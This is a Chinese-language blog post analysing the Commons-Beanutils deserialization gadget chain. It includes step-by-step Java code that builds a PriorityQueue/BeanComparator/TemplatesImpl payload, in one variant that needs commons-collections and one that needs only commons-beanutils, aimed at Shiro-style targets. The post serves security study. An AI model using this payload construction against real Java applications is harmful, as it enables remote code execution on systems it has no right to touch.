Commons-Beanutils利用链分析

前言

本篇开始介绍 commons-beanutils 利用链，注意Commons-Beanutils 不是Commons-Collections 不要看混了，首先来看一下，什么是 commons-beanutils，我们看下官网的描述：

Most Java developers are used to creating Java classes that conform to the JavaBeans naming patterns for property getters and setters. It is natural to then access these methods directly, using calls to the corresponding getXxx and setXxx methods. However, there are some occasions where dynamic access to Java object properties (without compiled-in knowledge of the property getter and setter methods to be called) is needed. Example use cases include:

• Building scripting languages that interact with the Java object model (such as the Bean Scripting Framework).

• Building template language processors for web presentation and similar uses (such as JSP or Velocity).

• Building custom tag libraries for JSP and XSP environments (such as Jakarta Taglibs, Struts, Cocoon).

• Consuming XML-based configuration resources (such as Ant build scripts, web application deployment descriptors, Tomcat's server.xml file).

The Java language provides Reflection and Introspection APIs (see the java.lang.reflect and java.beans packages in the JDK Javadocs). However, these APIs can be quite complex to understand and utilize. The BeanUtils component provides easy-to-use wrappers around these capabilities.

简单来说就是提供了一组动态便捷操纵 JavaBean 的 api，替代使用 jdk 复杂的反射模式，常用在一些XML文件处理、模板引擎处理及三方框架处理上。

BeanComparator

其中里面的 org.apache.commons.beanutils.BeanComparator 实现了 Comparator 接口，可以用来比较两个Bean的属性等内容：

构造方法可传入两个变量，一个Bean的属性名，一个三方的 Comparator 实现类：

两个参数都可以不传，第二个参数不传入默认使用 org.apache.commons.collections.comparators.ComparableComparator , 注意这个类在 commons-collections 包下面，也就是说如果要用原生的YsoSerial 生成的payload去利用的话，要确保目标机器上要同时引入 commons-collections 和 commons-beanutils 两个包，不然就不能利用，那如果目标机器假如只引入了 commons-beanutils 是不是就没办法了？ 也不然，看后面分析。

接下来看一下 ComparableComparator 对Compare的具体实现：

大概逻辑就是，如果初始化传入了property，就会去调用两个对象对应的 getter 方法，获取其属性值，然后再进行比较，返回最终的值，这里有主动调用getter方法，问题就发生在这里和 FastJson 的利用方法一样。

TemplatesImpl

其实前面在CC2、3、4 已经都讲过 TemplatesImpl 的利用方式，不过他们都是通过调用其 newTransformer() 方法进行触发，这里再拓展下，这个类还有一种触发方式，我们使用 IDEA 的 Findusage 功能找下调用位置：

我们发现除了 TrAXFilter 外，这个类本身的 getOutputProperties() 就会调用 newTransformer 方法：

这是一个getter方法，就可以和BeanComparetor的compare方法穿起来了。

挖掘利用链

思路一： commons-collections与 common-beanutils 共同存在的情况下：

结合之前分析，BeanComparetor的compare 会调用目标对象的getter方法，而 TemplatesImpl 存在 getOutputProperties() 方法进行恶意代码触发，所以我们只要反序列化的时候使用 BeanComparetor#compare() 比较两个恶意TemplatesImpl 对象就好。反序列化时候进行比较就是 CC2、CC4中使用到的PrioQueue就好：

所以，我们来实践下吧~

第一步 准备恶意 templates

TemplatesImpl templates = ExpUtils.getEvilTemplates();

第二步 使用 BeanComparator 作为传入 PriorityQueue 作为 comparator

BeanComparator beanComparator = new BeanComparator();
PriorityQueue priorityQueue = new PriorityQueue(2,beanComparator);
priorityQueue.add(1);  // 这里先添加正常元素，避免执行时触发恶意代码
priorityQueue.add(1);

第三步 添加元素后再替换回 templates ，避免添加时触发代码执行

Field queue =  ReflectUtils.getFields(priorityQueue,"queue");
Object[] queueObj = (Object[]) queue.get(priorityQueue);
queueObj[0] = templates;
queueObj[1] = templates;
//        替换为 TemplatesImpl 中的 property
ReflectUtils.setFields(beanComparator,"property","outputProperties");

第四步 反序列化触发

String path = ExpUtils.serialize(priorityQueue);
ExpUtils.unserialize(path);

看下执行结果，成功执行~

思路二：目标机器只引用 common-beanutils

这个场景其实就真实发生在一个第三方框架Shiro上，Shiro 框架本身只引入了 common-beanutils ，如果直接使用 YsoSerial 的 CB链生成Payload是无法直接执行的，所以网上大部分的复现或者分析都是人工引入 Common-Collections， 每要求一个包的存在就对利用的难度加大了，有没有只依赖 common-beanutils 就能RCE的链呢？

我们看到Commons-beanutils.BeanComparator 的构造方法，其实只有默认不传入 Comparator 的情况下才会去使用Commons-collections的ComparableComparator，所以我们只需要传入一个原生的Comparator 即可摆脱对Commons-Collections 的依赖，同时，因为这个漏洞是应用于反序列化场景，所以要求这个类还必须继承 Serializable 接口，有没有这个类呢，答案当然是有，P神已经找到了，就是 String.CASE_INSENSITIVE_ORDER：

所以，我们只需要将Comparator改为 String.CASE_INSENSITIVE_ORDER 即可，实操：

第一步 准备恶意 templates

TemplatesImpl templates = ExpUtils.getEvilTemplates();

第二步 准备恶意priorityQueue

BeanComparator beanComparator = new BeanComparator();
PriorityQueue priorityQueue = new PriorityQueue(2,beanComparator);
priorityQueue.add(1);
priorityQueue.add(1);

第三步 将 beanComparator 中的 comparator 改为非Commons-Collections 的 String.CASE_INSENSITIVE_ORDER

ReflectUtils.setFields(beanComparator,"comparator",String.CASE_INSENSITIVE_ORDER);

第四步 priorityQueue元素改为恶意templates

Field queue =  ReflectUtils.getFields(priorityQueue,"queue");
Object[] queueObj = (Object[]) queue.get(priorityQueue);
queueObj[0] = templates;
queueObj[1] = templates;

第五步 beanComparator 属性改为outputProperties

ReflectUtils.setFields(beanComparator,"property","outputProperties");

第六步 触发

String path = ExpUtils.serialize(priorityQueue);
ExpUtils.unserialize(path);

最后，我们在pom文件里面把 commons-collections 改为compie，这样就确保只在编译期间存在这个包，运行实际没有。

看下执行结果，在只有commons-beauntils 依赖下成功运行！

总结

这篇文章分析了 Commons-Beanutils 反序列化利用的原理，并在 YsoSerail 基础上进行了增强，实现在只有 Commons-Beanutils 依然能够RCE。

公众号

欢迎大家关注我的公众号，这里有干货满满的硬核安全知识，和我一起学起来吧！